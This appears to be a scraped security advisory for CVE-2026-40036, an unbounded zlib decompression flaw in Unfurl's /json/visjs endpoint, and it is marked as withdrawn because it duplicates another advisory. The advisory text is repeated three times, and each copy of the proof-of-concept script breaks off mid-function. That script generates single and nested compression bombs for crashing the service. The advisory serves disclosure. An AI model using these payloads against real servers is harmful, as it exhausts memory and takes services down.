CVE-2026-40036

Unfurl before 2026.04 contains an unbounded zlib decompression vulnerability in parse_compressed.py that allows remote attackers to cause denial of service. Attackers can submit highly compressed payloads via URL parameters to the /json/visjs endpoint that expand to gigabytes, exhausting server memory and crashing the service.

Unfurl before 2026.04 contains an unbounded zlib decompression vulnerability in parse_compressed.py that allows remote attackers to cause denial of service. Attackers can submit highly compressed payloads via URL parameters to the /json/visjs endpoint that expand to gigabytes, exhausting server memory and crashing the service.

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-h5qv-qjv4-pc5m. This link is maintained to preserve external references.

Original Description

Unfurl before 2026.04 contains an unbounded zlib decompression vulnerability in parse_compressed.py that allows remote attackers to cause denial of service. Attackers can submit highly compressed payloads via URL parameters to the /json/visjs endpoint that expand to gigabytes, exhausting server memory and crashing the service.

Summary

The compressed data parser uses zlib.decompress() without a maximum output size. A small, highly compressed payload can expand to a very large output, causing memory exhaustion and denial of service.

Details

• unfurl/parsers/parse_compressed.py calls zlib.decompress(decoded) with no size limit.
• Inputs are accepted from URL components that match base64 patterns.
• Highly compressible payloads can expand orders of magnitude larger than their compressed size.

PoC

1. Generate a payload with security_poc/poc_decompression_bomb.py --generate-only.
2. The script creates a base64-encoded zlib payload embedded in a URL.
3. Submitting the URL to /json/visjs can cause the server to allocate large amounts of memory.
4. The script includes a --test mode but warns it can crash the service.

PoC Script

#!/usr/bin/env python3
"""
Unfurl Decompression Bomb Proof of Concept
==========================================

This PoC demonstrates a Denial of Service vulnerability in Unfurl's
compressed data parsing. The zlib.decompress() call has no size limits,
allowing an attacker to submit small payloads that expand to gigabytes.

Vulnerability Location:
- parse_compressed.py:81-82:
    inflated_bytes = zlib.decompress(decoded)  # No maxsize parameter

Attack Impact:
- Memory exhaustion
- Service crash
- Resource consumption (cloud cost attacks)

Usage:
    python poc_decompression_bomb.py [--target URL] [--size SIZE_MB]
"""

import argparse
import base64
import os
import zlib
import requests
import sys
import time


def create_compression_bomb(target_size_mb: int = 100) -> bytes:
    """
    Create a compression bomb - small compressed data that expands to target_size_mb.

    Compression ratio for zeros can be ~1000:1 or better.
    A 1KB compressed payload can expand to ~1MB.
    A 100KB payload can expand to ~100MB.
    """
    # Create highly compressible data (all zeros)
    target_bytes = target_size_mb * 1024 * 1024
    uncompressed = b'\x00' * target_bytes

    # Compress with maximum compression
    compressed = zlib.compress(uncompressed, 9)

    compression_ratio = len(uncompressed) / len(compressed)

    print(f"[*] Created compression bomb:")
    print(f"    Compressed size: {len(compressed):,} bytes ({len(compressed)/1024:.2f} KB)")
    print(f"    Uncompressed size: {len(uncompressed):,} bytes ({target_size_mb} MB)")
    print(f"    Compression ratio: {compression_ratio:.0f}:1")

    return compressed


def create_nested_bomb(levels: int = 3, base_size_mb: int = 10) -> bytes:
    """
    Create a nested compression bomb (zip bomb style).
    Each level multiplies the final size.

    Warning: This can create VERY large expansions.
    3 levels with 10MB base = 10^3 = 1GB
    4 levels with 10MB base = 10^4 = 10GB
    """
    print(f"[*] Creating nested bomb with {levels} levels, {base_size_mb}MB base")

    # Start with base payload
    data = b'\x00' * (base_size_mb * 1024 * 1024)

    for level in range(levels):
        data = zlib.compress(data, 9)
        print(f"    Level {level + 1}: {len(data):,} bytes")

    theoretical_size = base_size_mb * (1000 ** levels)  # Rough estimate
    print(f"[*] Theoretical expanded size: ~{theoretical_size} MB")

    return data


def create_recursive_quine_bomb() -> bytes:
    """
    Create a recursive decompression scenario.
    When decompressed, the output is valid zlib that can be decompressed again.

    This exploits any recursive decompression logic.
    """
    # This is a simplified version - real quine bombs are more complex
    # The concept: output when decompressed is also valid compressed data

    # Create a pattern that when decompressed resembles compressed data
    # This is primarily theoretical for this vulnerability
    base = b'x\x9c' + (b'\x00' * 1000)  # Fake zlib header + zeros
    return zlib.compress(base * 1000, 9)


def encode_for_unfurl(compressed: bytes) -> str:
    """
    Encode compressed data as base64 for URL…

Unfurl before 2026.04 contains an unbounded zlib decompression vulnerability in parse_compressed.py that allows remote attackers to cause denial of service. Attackers can submit highly compressed payloads via URL parameters to the /json/visjs endpoint that expand to gigabytes, exhausting server memory and crashing the service.

Unfurl before 2026.04 contains an unbounded zlib decompression vulnerability in parse_compressed.py that allows remote attackers to cause denial of service. Attackers can submit highly compressed payloads via URL parameters to the /json/visjs endpoint that expand to gigabytes, exhausting server memory and crashing the service.

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-h5qv-qjv4-pc5m. This link is maintained to preserve external references.

Original Description

Unfurl before 2026.04 contains an unbounded zlib decompression vulnerability in parse_compressed.py that allows remote attackers to cause denial of service. Attackers can submit highly compressed payloads via URL parameters to the /json/visjs endpoint that expand to gigabytes, exhausting server memory and crashing the service.

Summary

The compressed data parser uses zlib.decompress() without a maximum output size. A small, highly compressed payload can expand to a very large output, causing memory exhaustion and denial of service.

Details

• unfurl/parsers/parse_compressed.py calls zlib.decompress(decoded) with no size limit.
• Inputs are accepted from URL components that match base64 patterns.
• Highly compressible payloads can expand orders of magnitude larger than their compressed size.

PoC

1. Generate a payload with security_poc/poc_decompression_bomb.py --generate-only.
2. The script creates a base64-encoded zlib payload embedded in a URL.
3. Submitting the URL to /json/visjs can cause the server to allocate large amounts of memory.
4. The script includes a --test mode but warns it can crash the service.

PoC Script

#!/usr/bin/env python3
"""
Unfurl Decompression Bomb Proof of Concept
==========================================

This PoC demonstrates a Denial of Service vulnerability in Unfurl's
compressed data parsing. The zlib.decompress() call has no size limits,
allowing an attacker to submit small payloads that expand to gigabytes.

Vulnerability Location:
- parse_compressed.py:81-82:
    inflated_bytes = zlib.decompress(decoded)  # No maxsize parameter

Attack Impact:
- Memory exhaustion
- Service crash
- Resource consumption (cloud cost attacks)

Usage:
    python poc_decompression_bomb.py [--target URL] [--size SIZE_MB]
"""

import argparse
import base64
import os
import zlib
import requests
import sys
import time


def create_compression_bomb(target_size_mb: int = 100) -> bytes:
    """
    Create a compression bomb - small compressed data that expands to target_size_mb.

    Compression ratio for zeros can be ~1000:1 or better.
    A 1KB compressed payload can expand to ~1MB.
    A 100KB payload can expand to ~100MB.
    """
    # Create highly compressible data (all zeros)
    target_bytes = target_size_mb * 1024 * 1024
    uncompressed = b'\x00' * target_bytes

    # Compress with maximum compression
    compressed = zlib.compress(uncompressed, 9)

    compression_ratio = len(uncompressed) / len(compressed)

    print(f"[*] Created compression bomb:")
    print(f"    Compressed size: {len(compressed):,} bytes ({len(compressed)/1024:.2f} KB)")
    print(f"    Uncompressed size: {len(uncompressed):,} bytes ({target_size_mb} MB)")
    print(f"    Compression ratio: {compression_ratio:.0f}:1")

    return compressed


def create_nested_bomb(levels: int = 3, base_size_mb: int = 10) -> bytes:
    """
    Create a nested compression bomb (zip bomb style).
    Each level multiplies the final size.

    Warning: This can create VERY large expansions.
    3 levels with 10MB base = 10^3 = 1GB
    4 levels with 10MB base = 10^4 = 10GB
    """
    print(f"[*] Creating nested bomb with {levels} levels, {base_size_mb}MB base")

    # Start with base payload
    data = b'\x00' * (base_size_mb * 1024 * 1024)

    for level in range(levels):
        data = zlib.compress(data, 9)
        print(f"    Level {level + 1}: {len(data):,} bytes")

    theoretical_size = base_size_mb * (1000 ** levels)  # Rough estimate
    print(f"[*] Theoretical expanded size: ~{theoretical_size} MB")

    return data


def create_recursive_quine_bomb() -> bytes:
    """
    Create a recursive decompression scenario.
    When decompressed, the output is valid zlib that can be decompressed again.

    This exploits any recursive decompression logic.
    """
    # This is a simplified version - real quine bombs are more complex
    # The concept: output when decompressed is also valid compressed data

    # Create a pattern that when decompressed resembles compressed data
    # This is primarily theoretical for this vulnerability
    base = b'x\x9c' + (b'\x00' * 1000)  # Fake zlib header + zeros
    return zlib.compress(base * 1000, 9)


def encode_for_unfurl(compressed: bytes) -> str:
    """
    Encode compressed data as base64 for URL…

Summary

The compressed data parser uses zlib.decompress() without a maximum output size. A small, highly compressed payload can expand to a very large output, causing memory exhaustion and denial of service.

Details

• unfurl/parsers/parse_compressed.py calls zlib.decompress(decoded) with no size limit.
• Inputs are accepted from URL components that match base64 patterns.
• Highly compressible payloads can expand orders of magnitude larger than their compressed size.

PoC

1. Generate a payload with security_poc/poc_decompression_bomb.py --generate-only.
2. The script creates a base64-encoded zlib payload embedded in a URL.
3. Submitting the URL to /json/visjs can cause the server to allocate large amounts of memory.
4. The script includes a --test mode but warns it can crash the service.

PoC Script

#!/usr/bin/env python3
"""
Unfurl Decompression Bomb Proof of Concept
==========================================

This PoC demonstrates a Denial of Service vulnerability in Unfurl's
compressed data parsing. The zlib.decompress() call has no size limits,
allowing an attacker to submit small payloads that expand to gigabytes.

Vulnerability Location:
- parse_compressed.py:81-82:
    inflated_bytes = zlib.decompress(decoded)  # No maxsize parameter

Attack Impact:
- Memory exhaustion
- Service crash
- Resource consumption (cloud cost attacks)

Usage:
    python poc_decompression_bomb.py [--target URL] [--size SIZE_MB]
"""

import argparse
import base64
import os
import zlib
import requests
import sys
import time


def create_compression_bomb(target_size_mb: int = 100) -> bytes:
    """
    Create a compression bomb - small compressed data that expands to target_size_mb.

    Compression ratio for zeros can be ~1000:1 or better.
    A 1KB compressed payload can expand to ~1MB.
    A 100KB payload can expand to ~100MB.
    """
    # Create highly compressible data (all zeros)
    target_bytes = target_size_mb * 1024 * 1024
    uncompressed = b'\x00' * target_bytes

    # Compress with maximum compression
    compressed = zlib.compress(uncompressed, 9)

    compression_ratio = len(uncompressed) / len(compressed)

    print(f"[*] Created compression bomb:")
    print(f"    Compressed size: {len(compressed):,} bytes ({len(compressed)/1024:.2f} KB)")
    print(f"    Uncompressed size: {len(uncompressed):,} bytes ({target_size_mb} MB)")
    print(f"    Compression ratio: {compression_ratio:.0f}:1")

    return compressed


def create_nested_bomb(levels: int = 3, base_size_mb: int = 10) -> bytes:
    """
    Create a nested compression bomb (zip bomb style).
    Each level multiplies the final size.

    Warning: This can create VERY large expansions.
    3 levels with 10MB base = 10^3 = 1GB
    4 levels with 10MB base = 10^4 = 10GB
    """
    print(f"[*] Creating nested bomb with {levels} levels, {base_size_mb}MB base")

    # Start with base payload
    data = b'\x00' * (base_size_mb * 1024 * 1024)

    for level in range(levels):
        data = zlib.compress(data, 9)
        print(f"    Level {level + 1}: {len(data):,} bytes")

    theoretical_size = base_size_mb * (1000 ** levels)  # Rough estimate
    print(f"[*] Theoretical expanded size: ~{theoretical_size} MB")

    return data


def create_recursive_quine_bomb() -> bytes:
    """
    Create a recursive decompression scenario.
    When decompressed, the output is valid zlib that can be decompressed again.

    This exploits any recursive decompression logic.
    """
    # This is a simplified version - real quine bombs are more complex
    # The concept: output when decompressed is also valid compressed data

    # Create a pattern that when decompressed resembles compressed data
    # This is primarily theoretical for this vulnerability
    base = b'x\x9c' + (b'\x00' * 1000)  # Fake zlib header + zeros
    return zlib.compress(base * 1000, 9)


def encode_for_unfurl(compressed: bytes) -> str:
    """
    Encode compressed data as base64 for URL…